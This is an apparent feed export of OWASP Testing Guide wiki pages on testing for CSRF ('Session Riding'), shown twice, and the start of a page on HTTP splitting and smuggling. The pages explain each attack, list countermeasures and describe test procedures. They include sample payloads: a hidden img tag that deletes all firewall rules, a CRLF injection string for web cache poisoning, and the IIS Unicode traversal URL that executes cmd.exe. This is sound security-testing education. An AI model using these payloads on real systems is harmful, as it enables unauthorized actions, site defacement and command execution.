&lt;br /&gt;
https://[target]/fwmgt/delete?rule=1&lt;br /&gt;
&lt;br /&gt;
(to delete rule number one)&lt;br /&gt;
&lt;br /&gt;
https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
(to delete all rules).&lt;br /&gt;
&lt;br /&gt;
The example is purposely quite naive, but shows in a simple way the dangers of Session Riding.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Therefore, if we enter the value ‘*’ and press the Delete button the following GET request is submitted.&lt;br /&gt;
&lt;br /&gt;
https://www.company.example/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation...).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management 2.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded ''img'' tag pointing to the same URL.&lt;br /&gt;
&lt;br /&gt;
In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. &lt;br /&gt;
&lt;br /&gt;
One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.&lt;br /&gt;
&lt;br /&gt;
An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a Session Riding attack targeting an application monitoring a nuclear power plant... Sounds far fetched? Probably, but it is a possibility.&lt;br /&gt;
&lt;br /&gt;
Self-vulnerable applications, i.e. applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a Session Riding attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.&lt;br /&gt;
&lt;br /&gt;
'''Countermeasures.'''&lt;br /&gt;
&lt;br /&gt;
The following countermeasures are divided among recommendations to users and to developers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Users&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Since Session Riding vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are:&lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a web application&lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login&lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf freely the Internet; if you have to do both things at the same machine, do them with separate browsers.&lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Developers&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack.&lt;br /&gt;
&lt;br /&gt;
Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit.&lt;br /&gt;
&lt;br /&gt;
Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack. The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application. Automatic logout mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).&lt;br /&gt;
&lt;br /&gt;
Another countermeasure is to rely on ''Referer'' headers, and allow only those requests which appear to originate from valid URLs. While ''Referer'' headers may be faked, they do provide minimal protection – for example, they inhibit attacks via email.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
To test black box, you need to know URLs in the restricted (authenticated) area. If you possess valid credentials, you can assume both roles – the attacker and the victim. In this case, you know the URLs to be tested just by browsing around the application.&lt;br /&gt;
&lt;br /&gt;
Otherwise, if you don’t have valid credentials available, you have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.&lt;br /&gt;
&lt;br /&gt;
Either way, a test case can be constructed as follows:&lt;br /&gt;
&lt;br /&gt;
* let ''u'' the URL being tested; for example, u = http://www.example.com/action&lt;br /&gt;
* build a html page containing the http request referencing url u (specifying all relevant parameters; in case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);&lt;br /&gt;
* make sure that the valid user is logged on the application;&lt;br /&gt;
* induce him into following the link pointing to the to-be-tested URL (social engineering involved if you cannot impersonate the user yourself);&lt;br /&gt;
* observe the result, i.e. check if the web server executed the request.&lt;br /&gt;
&lt;br /&gt;
==Gray Box testing and example==&lt;br /&gt;
&lt;br /&gt;
Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. By “client side values” we mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; NOT form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term ''secret'' to refer to this piece of information).&lt;br /&gt;
&lt;br /&gt;
Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automatized via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of Session Riding vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* This issue seems to get rediscovered from time to time, under different names. A history of these vulnerabilities has been reconstructed in: http://www.webappsec.org/lists/websecurity/archive/2005-05/msg00003.html&lt;br /&gt;
* [1] Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan&lt;br /&gt;
* [2] Peter W:&amp;quot;Cross-Site Request Forgeries&amp;quot; - http://www.tux.org/~peterw/csrf.txt&lt;br /&gt;
* [3] Thomas Schreiber:&amp;quot;Session Riding&amp;quot; - http://www.securenet.de/papers/Session_Riding.pdf&lt;br /&gt;
* Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml &lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Currently there are no automated tools that can be used to test for the presence of session riding vulnerabilities. However, you may use your favorite spider/crawler tools to acquire knowledge about the application structure and to identify the URLs to test.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&amp;diff=15439</id>
		<title>Testing for CSRF (OTG-SESS-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&amp;diff=15439"/>
				<updated>2007-01-16T13:54:57Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==Brief Summary==&lt;br /&gt;
'''Note:''' There is no unified term for the class of vulnerabilities which we are going to discuss next. We will stick to “Session Riding”, which is the term used in [3]; another term used in literature is “Cross Site Request Forgeries (CSRF/XSRF)” [2]. This confusion appears to originate from the fact that these vulnerabilities, which were first analyzed in 2000 [1], are often rediscovered by different people – and are soon forgotten. By no means is this indicative of low importance; rather, it is surprising that vulnerabilities whose impact may be so severe get constantly neglected. But let’s move on with the details.&lt;br /&gt;
&lt;br /&gt;
Session Riding is about forcing an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With little help of social engineering (like sending link via email/chat), the pentester may force the users of the web application to execute desired actions of his own. Successful Session Riding exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application that is being tested.&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
The way Session riding is accomplished relies on the following facts:&amp;lt;br&amp;gt;&lt;br /&gt;
1) Web browser behavior regarding the handling of session-related information such as cookies and http authentication information;&amp;lt;br&amp;gt;&lt;br /&gt;
2) Knowledge of valid web application URLs on the side of the attacker;&amp;lt;br&amp;gt;&lt;br /&gt;
3) Application session management relying only on information which is known by the browser;&amp;lt;br&amp;gt;&lt;br /&gt;
4) Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag ''img''.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 is accessory and facilitates the actual exploitation, but is not strictly required.&lt;br /&gt;
&lt;br /&gt;
Point 1) Browsers automatically send information which is used to identify a user session. Suppose ''site'' is a site hosting a web application, and the user ''victim'' has just authenticated himself to ''site''. In response, ''site'' sends ''victim'' a cookie which identifies  requests send by ''victim'' as belonging to ''victim’s'' authenticated session. Basically, once the browser receives the cookie set by ''site'', it will automatically send it along with any further requests directed to ''site''.&lt;br /&gt;
&lt;br /&gt;
Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript).&lt;br /&gt;
&lt;br /&gt;
Point 3) By “known by the browser” we mean information such as cookies or http-based authentication information (such as Basic Authentication; NOT form-based authentication), which are stored by the browser and subsequently resent at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session.&lt;br /&gt;
&lt;br /&gt;
Suppose, for simplicity's sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If ''victim'' has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:session_riding.GIF]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The GET request could be originated in several different ways:&lt;br /&gt;
&lt;br /&gt;
* by the user, who is using the actual web application;&lt;br /&gt;
* by the user, who types the URL it directly in the browser;&lt;br /&gt;
* by the user, who follows a link (external to the application) pointing to the URL.&lt;br /&gt;
&lt;br /&gt;
These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There is a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e. the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on ''site'', the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application – probably not what the user expects to happen! Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications...&lt;br /&gt;
&lt;br /&gt;
By using a tag such as ''img'', as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=”https://www.company.example/action” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results into a request being automatically sent to the web application hosted on ''site''. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the ''src'' field anyway; this happens provided that images download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability.&lt;br /&gt;
&lt;br /&gt;
The problem here is a consequence of the following facts:&lt;br /&gt;
&lt;br /&gt;
* there are HTML tags whose appearance in a page result in automatic http request execution (''img'' being one of those);&lt;br /&gt;
* the browser has no way to tell that the resource referenced by ''img ''is not actually an image and is in fact not legitimate;&lt;br /&gt;
* image loading happens regardless of the location of the alleged image, i.e. the form and the image itself need not be located in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications.&lt;br /&gt;
&lt;br /&gt;
It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a legal request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible.&lt;br /&gt;
&lt;br /&gt;
The problem might be even worse, since in integrated mail/browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie.&lt;br /&gt;
&lt;br /&gt;
Things may be obfuscated further, by referencing seemingly valid image URLs such as&lt;br /&gt;
&lt;br /&gt;
&amp;lt;img src=”https://[attacker]/picture.gif” width=”0” height=”0”&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where [attacker] is a site controlled by the attacker, and by utilizing a redirect mechanism on http://[attacker]/picture.gif to http://[thirdparty]/action.&lt;br /&gt;
&lt;br /&gt;
Cookies are not the only example involved in this kind of vulnerability. Web applications whose session information is entirely supplied by the browser are vulnerable too. This includes applications relying on HTTP authentication mechanisms alone, since the authentication information is known by the browser and is sent automatically upon each request. This DOES NOT include form-based authentication, which occurs just once and generates some form of session-related information (of course, in this case, such information is expressed simply as a cookie and can we fall back to one of the previous cases).&lt;br /&gt;
&lt;br /&gt;
'''Sample scenario.'''&lt;br /&gt;
&lt;br /&gt;
Let’s suppose that the victim is logged on to a firewall web management application. To log in, a user has to authenticate himself; subsequently, session information is stored in a cookie.&lt;br /&gt;
&lt;br /&gt;
Let's suppose our firewall web management application has a function that allows an authenticated user to delete a rule specified by its positional number, or all the rules of the configuration if the user enters ‘*’ (quite a dangerous feature, but will make the example more interesting). The delete page is shown next. Let’s suppose that the form – for the sake of simplicity – issues a GET request, which will be of the form&lt;br /&gt;
&lt;br /&gt;
https://[target]/fwmgt/delete?rule=1&lt;br /&gt;
&lt;br /&gt;
(to delete rule number one)&lt;br /&gt;
&lt;br /&gt;
https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
(to delete all rules).&lt;br /&gt;
&lt;br /&gt;
The example is purposely quite naive, but shows in a simple way the dangers of Session Riding.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Therefore, if we enter the value ‘*’ and press the Delete button the following GET request is submitted.&lt;br /&gt;
&lt;br /&gt;
https://www.company.example/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
with the effect of deleting all firewall rules (and ending up in a possibly inconvenient situation...).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[image:Session Riding Firewall Management 2.gif]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Now, this is not the only possible scenario. The user might have accomplished the same results by manually submitting the URL https://[target]/fwmgt/delete?rule=*&lt;br /&gt;
&lt;br /&gt;
or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded ''img'' tag pointing to the same URL.&lt;br /&gt;
&lt;br /&gt;
In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. &lt;br /&gt;
&lt;br /&gt;
One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.&lt;br /&gt;
&lt;br /&gt;
An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a Session Riding attack targeting an application monitoring a nuclear power plant... Sounds far fetched? Probably, but it is a possibility.&lt;br /&gt;
&lt;br /&gt;
Self-vulnerable applications, i.e. applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a Session Riding attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.&lt;br /&gt;
&lt;br /&gt;
'''Countermeasures.'''&lt;br /&gt;
&lt;br /&gt;
The following countermeasures are divided among recommendations to users and to developers.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Users&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Since Session Riding vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are:&lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a web application&lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login&lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf freely the Internet; if you have to do both things at the same machine, do them with separate browsers.&lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Developers&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack.&lt;br /&gt;
&lt;br /&gt;
Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit.&lt;br /&gt;
&lt;br /&gt;
Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack. The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application. Automatic logout mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).&lt;br /&gt;
&lt;br /&gt;
Another countermeasure is to rely on ''Referer'' headers, and allow only those requests which appear to originate from valid URLs. While ''Referer'' headers may be faked, they do provide minimal protection – for example, they inhibit attacks via email.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
To test black box, you need to know URLs in the restricted (authenticated) area. If you possess valid credentials, you can assume both roles – the attacker and the victim. In this case, you know the URLs to be tested just by browsing around the application.&lt;br /&gt;
&lt;br /&gt;
Otherwise, if you don’t have valid credentials available, you have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.&lt;br /&gt;
&lt;br /&gt;
Either way, a test case can be constructed as follows:&lt;br /&gt;
&lt;br /&gt;
* let ''u'' the URL being tested; for example, u = http://www.example.com/action&lt;br /&gt;
* build a html page containing the http request referencing url u (specifying all relevant parameters; in case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);&lt;br /&gt;
* make sure that the valid user is logged on the application;&lt;br /&gt;
* induce him into following the link pointing to the to-be-tested URL (social engineering involved if you cannot impersonate the user yourself);&lt;br /&gt;
* observe the result, i.e. check if the web server executed the request.&lt;br /&gt;
&lt;br /&gt;
==Gray Box testing and example==&lt;br /&gt;
&lt;br /&gt;
Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. By “client side values” we mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; NOT form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term ''secret'' to refer to this piece of information).&lt;br /&gt;
&lt;br /&gt;
Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automatized via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of Session Riding vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* This issue seems to get rediscovered from time to time, under different names. A history of these vulnerabilities has been reconstructed in: http://www.webappsec.org/lists/websecurity/archive/2005-05/msg00003.html&lt;br /&gt;
* [1] Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan&lt;br /&gt;
* [2] Peter W:&amp;quot;Cross-Site Request Forgeries&amp;quot; - http://www.tux.org/~peterw/csrf.txt&lt;br /&gt;
* [3] Thomas Schreiber:&amp;quot;Session Riding&amp;quot; - http://www.securenet.de/papers/Session_Riding.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Currently there are no automated tools that can be used to test for the presence of session riding vulnerabilities. However, you may use your favorite spider/crawler tools to acquire knowledge about the application structure and to identify the URLs to test.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13977</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13977"/>
				<updated>2006-12-05T22:43:57Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messaged can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and Examples ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. Such choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corrisponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represent the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends, immediately after the first request. a&lt;br /&gt;
second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache&lt;br /&gt;
will receive the &amp;quot;system down&amp;quot; message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that would steal their cookies, mounting a Cross Site Scripting attack. Note that while the vulnerability is in the application, the target here are its users.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:&lt;br /&gt;
&lt;br /&gt;
# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g.: a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with &amp;quot;Pragma: no-cache&amp;quot; in the request headers&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g.: &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g.: UTF-7)&lt;br /&gt;
# Some targets (e.g.: ASP) will URL-encode the path (e.g.: www.victim.com/redirect.asp) part of the Location header, making a CRLF sequence useless. However, they fail to encode the query section (e.g.: ?interface=advanced), meaning that a leading question mark is enough to bypass this problem&lt;br /&gt;
&lt;br /&gt;
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the corresponding paper referenced at the bottom of this page&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target.&lt;br /&gt;
For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET. &lt;br /&gt;
 &lt;br /&gt;
===HTTP Smuggling===&lt;br /&gt;
As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.&lt;br /&gt;
&lt;br /&gt;
'''Application Firewall Bypass'''&lt;br /&gt;
&lt;br /&gt;
There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. One very old example is the infamous Unicode directory traversal attack against IIS server (http://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&amp;lt;command_to_execute&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
